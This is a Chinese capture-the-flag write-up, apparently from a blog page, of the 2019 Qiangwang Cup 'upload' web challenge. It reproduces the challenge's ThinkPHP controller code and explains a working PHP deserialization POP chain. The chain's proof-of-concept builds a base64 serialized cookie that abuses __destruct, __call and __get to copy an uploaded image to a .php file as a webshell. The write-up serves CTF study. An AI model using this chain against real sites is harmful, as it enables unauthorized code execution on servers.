2019强网杯web upload分析(pop链)
参考链接:https://blog.csdn.net/qq_41173457/article/details/90724943
https://blog.csdn.net/qq_26406447/article/details/90671853
注意 只要namespace相同那就可以直接实例化同一namespace的类,至少在本题环境下是这样,所以可以在访问Index.php反序化影响到Regeister.php
<?php
namespace app\web\controller;
use think\Controller; class Index extends Controller
{
public $profile;
public $profile_db; public function index()
{
if($this->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
$this->redirect($curr_url,302);
exit();
}
return $this->fetch("index");
} public function home(){
if(!$this->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
} if(!$this->check_upload_img()){
$this->assign("username",$this->profile_db['username']);
return $this->fetch("upload");
}else{
$this->assign("img",$this->profile_db['img']);
$this->assign("username",$this->profile_db['username']);
return $this->fetch("home");
}
} public function login_check(){
$profile=cookie('user');
if(!empty($profile)){
$this->profile=unserialize(base64_decode($profile));
$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
if(array_diff($this->profile_db,$this->profile)==null){
return 1;
}else{
return 0;
}
}
} public function check_upload_img(){
if(!empty($this->profile) && !empty($this->profile_db)){
if(empty($this->profile_db['img'])){
return 0;
}else{
return 1;
}
}
} public function logout(){
cookie("user",null);
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
} public function __get($name)
{
return "";
} }
Index.php
<?php
namespace app\web\controller;//只是一个namespace 与下面的use无关 use think\Controller; //导入namespace 名为think下的 Controller 类 class Profile extends Controller
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except; public function __construct()
{
$this->checker=new Index();
$this->upload_menu=md5($_SERVER['REMOTE_ADDR']);
@chdir("../public/upload");
if(!is_dir($this->upload_menu)){
@mkdir($this->upload_menu);
}
@chdir($this->upload_menu);
} public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
} if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
} public function update_img(){
$user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();
if(empty($user_info['img']) && $this->img){
if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){
$this->update_cookie();
$this->success('Upload img successful!', url('../home'));
}else{
$this->error('Upload file failed!', url('../index'));
}
}
} public function update_cookie(){
$this->checker->profile['img']=$this->img;
cookie("user",base64_encode(serialize($this->checker->profile)),3600);
} public function ext_check(){
$ext_arr=explode(".",$this->filename);
$this->ext=end($ext_arr);
if($this->ext=="png"){
return 1;
}else{
return 0;
}
} public function __get($name)
{
return $this->except[$name];
} public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
} }
profile.php
<?php
namespace app\web\controller;
use think\Controller; class Register extends Controller
{
public $checker;
public $registed; public function __construct()
{
$this->checker=new Index();
}
/*public function __construct()
{
$this->checker=new Profile(); }*/
public function register()
{
if ($this->checker) {
if($this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
$this->redirect($curr_url,302);
exit();
}
}
if (!empty(input("post.username")) && !empty(input("post.email")) && !empty(input("post.password"))) {
$email = input("post.email", "", "addslashes");
$password = input("post.password", "", "addslashes");
$username = input("post.username", "", "addslashes");
if($this->check_email($email)) {
if (empty(db("user")->where("username", $username)->find()) && empty(db("user")->where("email", $email)->find())) {
$user_info = ["email" => $email, "password" => md5($password), "username" => $username];
if (db("user")->insert($user_info)) {
$this->registed = 1;
$this->success('Registed successful!', url('../index'));
} else {
$this->error('Registed failed!', url('../index'));
}
} else {
$this->error('Account already exists!', url('../index'));
}
}else{
$this->error('Email illegal!', url('../index'));
}
} else {
$this->error('Something empty!', url('../index'));
}
} public function check_email($email){
$pattern = "/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$/";
preg_match($pattern, $email, $matches);
if(empty($matches)){
return 0;
}else{
return 1;
}
} public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
} }
Register.php
<?php
namespace app\web\controller;
use think\Controller; class Login extends Controller
{
public $checker; public function __construct()
{
$this->checker=new Index();
} public function login(){
if($this->checker){
if($this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
$this->redirect($curr_url,302);
exit();
}
}
if(input("?post.email") && input("?post.password")){
$email=input("post.email","","addslashes");
$password=input("post.password","","addslashes");
$user_info=db("user")->where("email",$email)->find();
if($user_info) {
if (md5($password) === $user_info['password']) {
$cookie_data=base64_encode(serialize($user_info));
cookie("user",$cookie_data,3600);
$this->success('Login successful!', url('../home'));
} else {
$this->error('Login failed!', url('../index'));
}
}else{
$this->error('email not registed!',url('../index'));
}
}else{
$this->error('email or password is null!',url('../index'));
}
} }
login.php
注意:1、的文通 Index.php 里namespace app\web\controller;和下面的 use think\Controller; 没关系 use think/Controller 中 Controller是一个类 ,它的namespace是think
2、同一个namespce下可以直接实例化类不需要include\require(本题是如此,我在本地环境下实验是不行的)
poc:
<?php
namespace app\web\controller; class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except; }
class Register
{
public $checker;
public $registed;
}
$a = new Register();
$a->registed = 0;
$a->checker = new Profile();
$a->checker->except = ['index'=>'upload_img'];$a->checker->filename_tmp = './upload/bc9c0f21801e3928b868149bfb65e408/fb5c81ed3a220004b71069645f112867.png';
$a->checker->filename = './upload/bc9c0f21801e3928b868149bfb65e408/2.php';
$a->checker->ext = 1; echo base64_encode(serialize($a));
之前做了一些题目 覆盖_dstruct()里面的调用类,巧的是调用的都是这样的:$this->checker->XX,然后我们就覆盖checker就行了
让反序列化的对象是Profile 让checker从new index() 变为 new Profile() ,调用index()方法,Profile没有index()方法从而调用__call 方法,
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
$this->{$this->{$name}}($arguments); 这句我看不太懂 ,但是看得出来调用了$name 而$name 是不能/不存在被调用的方法名称,$this->index index也不存在,随之调用__get()方法 ,这时候上面poc中的 "$a->checker->except = ['index'=>'upload_img'];"发挥作用了,代码让__get()调用了upload_img(小细节:$this->方法名也可以调用函数)然后看upload_img()方法
public function upload_img(){
if($this->checker){//$this->checker 不存在, 绕过
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}
if(!empty($_FILES)){//$_FILES :我们没上传文件 空 绕过
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {//ext=1 进入逻辑
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename;/*copy是复制第一个参数是文件,第二个参数是目的地 */ @unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}
完成
此题是寻找pop链调用 image_upload() 绕过if 然后目的是 copy()这里,全程围绕调用 copy() 为中心(感觉是个病句)
2019强网杯web upload分析(pop链)的更多相关文章
- 2019强网杯web upload writeup及关键思路
<?phpnamespace app\web\controller; class Profile{ public $checker; public $filename_tmp; ...
- 2019强网杯babybank wp及浅析
前言 2019强网杯CTF智能合约题目--babybank wp及浅析 ps:本文最先写在我的新博客上,后面会以新博客为主,看心情会把文章同步过来 分析 反编译 使用OnlineSolidityDec ...
- 细说强网杯Web辅助
本文首发于“合天智汇”公众号 作者:Ch3ng 这里就借由强网杯的一道题目“Web辅助”,来讲讲从构造POP链,字符串逃逸到最后获取flag的过程 题目源码 index.php 获取我们传入的user ...
- 强网杯web之假的反序列化漏洞
说明 打强网杯的时候一直在写论文, 做林逸师傅的培训题目. 现在得空,还是看了一部分的题目和wp. 源码 源码一共三部分, 这里只写下我知识盲区的一部分,作为自己的记录. <?php highl ...
- 2019强网杯部分misc&web
0x01 前言 前两天菜鸡+x和几个大哥算是正式参加了一次ctf的线上赛,也是第一次参加这种比赛(前一段时间巨佬也给了我们一个西班牙的比赛,不过不算是正式参赛,做题的时候,比赛已经结束了),没想到出师 ...
- [原题复现]2019强网杯WEB-随便注(多种方法)
简介 原题复现:https://gitee.com/xiaohua1998/qwb_2019_supersqli 考察知识点:SQL注入漏洞-堆叠注入 线上平台:https://buuoj.cn( ...
- 刷题记录:[强网杯 2019]Upload
目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...
- 2019 第三届强网杯线上赛部分web复现
0x00前言 周末打了强网杯,队伍只做得出来6道签到题,web有三道我仔细研究了但是没有最终做出来,赛后有在群里看到其他师傅提供了writeup和环境复现的docker环境,于是跟着学习一波并记录下来 ...
- [强网杯2019]upload buuoj
提示:重点在这,可节省大部分时间 扫描后台 发现www.tar.gz备份文件. 这平台有429[太多请求限制]防护.dirsearch扫描一堆429.于是用了最笨的方法. 文件上传 先注册个账号 注册 ...
随机推荐
- centos7.5搭建svn
1.安装svnyum install subversion 2.查看安装位置rpm -ql subversion 3.创建svn版本库目录mkdir -p /var/svn/svnrepos 4.创建 ...
- 【HANA系列】SAP HANA跟我学HANA系列之创建属性视图一
公众号:SAP Technical 本文作者:matinal 原文出处:http://www.cnblogs.com/SAPmatinal/ 原文链接:[HANA系列]SAP HANA跟我学HANA系 ...
- springboot - 应用实践(3)springboot的核心
1.springboot的启动类与核心注解@SpringBootApplication 2.springboot基本配置 3.springboot自动配置原理
- php点击链接直接下载文件写法
down.php <?php $file = "avater.jpg"; //计算机上的一个文件 $fileName = basename($file); //获取文件名 h ...
- AStar 启发函数设计(老物)
作为我出山的第一篇日志,怎么也得写篇对得起我身份和地位的文章吧? 先容我吐槽一下不小心发的贴图,那个只是我不小心收藏了隔壁兄弟班的课表就别大家这么热情的 BB 我感到很有压力,额,废话不多说,立刻进入 ...
- django admin站点美化
使用django-simpleui 安装 pip install django-simpleui 源码地址 https://github.com/newpanjing/simpleui django ...
- lamp项目上线流程简述 (ubuntu16.04 )
1 新建一个sudo用户,而不是直接用root操作 ① 新建用户可参考 https://www.cnblogs.com/bushuwei/p/10880182.html ② 赋予sudo权限: ...
- mybatis中的动态代理应用(mapper对象)
-----------------UserMapper的配置信息--------------------- <?xml version="1.0" encoding=&quo ...
- vue报错——Module not found: Error: Can't resolve 'less-loader sass' in ...
npm install sass-loader -D npm install node-sass -D
- css实现两个div并排等高(一个div高度随另一个高度变化而变化)
方法一.两个div都设置 display: table-cell; 方法二.父级div设置 display: -webkit-box;